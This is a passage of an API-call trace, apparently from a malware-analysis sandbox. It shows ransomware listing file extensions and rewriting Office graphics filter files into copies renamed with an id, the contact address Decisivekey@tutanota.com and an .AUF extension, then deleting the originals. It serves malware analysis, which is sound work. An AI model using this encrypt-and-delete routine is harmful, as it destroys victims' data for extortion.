lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.029] lstrlenW (lpString=".ppt") returned 4 [0218.029] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".zip") returned 4 [0218.029] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".rar") returned 4 [0218.029] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".bz2") returned 4 [0218.029] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString=".7z") returned 3 [0218.029] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".dbf") returned 4 [0218.029] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".1cd") returned 4 [0218.029] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".jpg") returned 4 [0218.029] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".doc") returned 4 [0218.029] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString=".docx") returned 5 [0218.029] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.029] lstrlenW (lpString=".pdf") returned 4 [0218.029] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".xls") returned 4 [0218.029] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".xlsx") returned 5 [0218.029] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.029] lstrlenW (lpString=".ppt") returned 4 [0218.029] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".zip") returned 4 [0218.029] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".rar") returned 4 [0218.029] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".bz2") returned 4 [0218.029] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString=".7z") returned 3 [0218.030] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.030] lstrlenW (lpString=".dbf") returned 4 [0218.030] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.030] lstrlenW (lpString=".1cd") returned 4 [0218.030] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.030] lstrlenW (lpString=".jpg") returned 4 [0218.030] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.030] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0218.030] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0218.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.031] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=241024) returned 1 [0218.031] CloseHandle (hObject=0x184) returned 1 [0218.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0218.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.031] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.031] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.031] GetLastError () returned 0x0 [0218.031] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0218.038] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0218.041] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.041] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.041] SetEndOfFile (hFile=0x1e0) returned 1 [0218.041] CloseHandle (hObject=0x1e0) returned 1 [0218.041] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.042] SetEndOfFile (hFile=0x184) returned 1 [0218.043] CloseHandle (hObject=0x184) returned 1 [0218.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".doc") returned 4 [0218.044] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.044] lstrlenW (lpString=".docx") returned 5 [0218.044] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.044] lstrlenW (lpString=".pdf") returned 4 [0218.044] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString=".xls") returned 4 [0218.044] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString=".xlsx") returned 5 [0218.044] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.044] lstrlenW (lpString=".ppt") returned 4 [0218.044] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".zip") returned 4 [0218.044] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString=".rar") returned 4 [0218.044] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString=".bz2") returned 4 [0218.044] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.044] lstrlenW (lpString=".7z") returned 3 [0218.044] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".dbf") returned 4 [0218.044] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".1cd") returned 4 [0218.044] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".jpg") returned 4 [0218.044] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.044] lstrlenW (lpString=".doc") returned 4 [0218.045] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.045] lstrlenW (lpString=".docx") returned 5 [0218.045] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.045] lstrlenW (lpString=".pdf") returned 4 [0218.045] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.045] lstrlenW (lpString=".xls") returned 4 [0218.045] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.045] lstrlenW (lpString=".xlsx") returned 5 [0218.045] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.045] lstrlenW (lpString=".ppt") returned 4 [0218.045] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.045] lstrlenW (lpString=".zip") returned 4 [0218.045] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.045] lstrlenW (lpString=".rar") returned 4 [0218.045] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.045] lstrlenW (lpString=".bz2") returned 4 [0218.045] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.045] lstrlenW (lpString=".7z") returned 3 [0218.045] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.045] lstrlenW (lpString=".dbf") returned 4 [0218.045] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.045] lstrlenW (lpString=".1cd") returned 4 [0218.045] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0218.045] lstrlenW (lpString=".jpg") returned 4 [0218.045] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.045] lstrcmpiW (lpString1=".CGM", lpString2=".AUF") returned 1 [0218.045] lstrlenW (lpString="MS.CGM") returned 6 [0218.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.046] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1908) returned 1 [0218.046] CloseHandle (hObject=0x184) returned 1 [0218.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0218.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.046] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.046] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.046] GetLastError () returned 0x0 [0218.046] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x774, lpOverlapped=0x0) returned 1 [0218.167] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x780, lpOverlapped=0x0) returned 1 [0218.167] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.167] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0218.167] SetEndOfFile (hFile=0x1e0) returned 1 [0218.302] CloseHandle (hObject=0x1e0) returned 1 [0218.302] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.302] SetEndOfFile (hFile=0x184) returned 1 [0218.303] CloseHandle (hObject=0x184) returned 1 [0218.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0218.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.372] lstrlenW (lpString=".doc") returned 4 [0218.373] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".docx") returned 5 [0218.373] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0218.373] lstrlenW (lpString=".pdf") returned 4 [0218.373] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".xls") returned 4 [0218.373] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".xlsx") returned 5 [0218.373] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0218.373] lstrlenW (lpString=".ppt") returned 4 [0218.373] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString=".zip") returned 4 [0218.373] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".rar") returned 4 [0218.373] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".bz2") returned 4 [0218.373] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0218.373] lstrlenW (lpString=".7z") returned 3 [0218.373] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString=".dbf") returned 4 [0218.373] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString=".1cd") returned 4 [0218.373] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString=".jpg") returned 4 [0218.373] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.373] lstrlenW (lpString=".doc") returned 4 [0218.373] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".docx") returned 5 [0218.373] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0218.373] lstrlenW (lpString=".pdf") returned 4 [0218.373] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0218.373] lstrlenW (lpString=".xls") returned 4 [0218.373] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0218.374] lstrlenW (lpString=".xlsx") returned 5 [0218.374] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0218.374] lstrlenW (lpString=".ppt") returned 4 [0218.374] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0218.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.374] lstrlenW (lpString=".zip") returned 4 [0218.374] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0218.374] lstrlenW (lpString=".rar") returned 4 [0218.374] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0218.374] lstrlenW (lpString=".bz2") returned 4 [0218.374] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0218.374] lstrlenW (lpString=".7z") returned 3 [0218.374] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0218.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.374] lstrlenW (lpString=".dbf") returned 4 [0218.374] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0218.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.374] lstrlenW (lpString=".1cd") returned 4 [0218.374] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0218.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0218.374] lstrlenW (lpString=".jpg") returned 4 [0218.374] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0218.374] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0218.374] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0218.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.375] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=73080) returned 1 [0218.375] CloseHandle (hObject=0x1e0) returned 1 [0218.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0218.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.375] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.375] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.382] GetLastError () returned 0x0 [0218.382] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x11d78, lpOverlapped=0x0) returned 1 [0218.425] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0218.426] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.426] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.426] SetEndOfFile (hFile=0x1f4) returned 1 [0218.428] CloseHandle (hObject=0x1f4) returned 1 [0218.428] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.428] SetEndOfFile (hFile=0x1e0) returned 1 [0218.429] CloseHandle (hObject=0x1e0) returned 1 [0218.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.429] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0218.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.429] lstrlenW (lpString=".doc") returned 4 [0218.429] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.429] lstrlenW (lpString=".docx") returned 5 [0218.430] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.430] lstrlenW (lpString=".pdf") returned 4 [0218.430] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".xls") returned 4 [0218.430] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".xlsx") returned 5 [0218.430] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.430] lstrlenW (lpString=".ppt") returned 4 [0218.430] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".zip") returned 4 [0218.430] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".rar") returned 4 [0218.430] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".bz2") returned 4 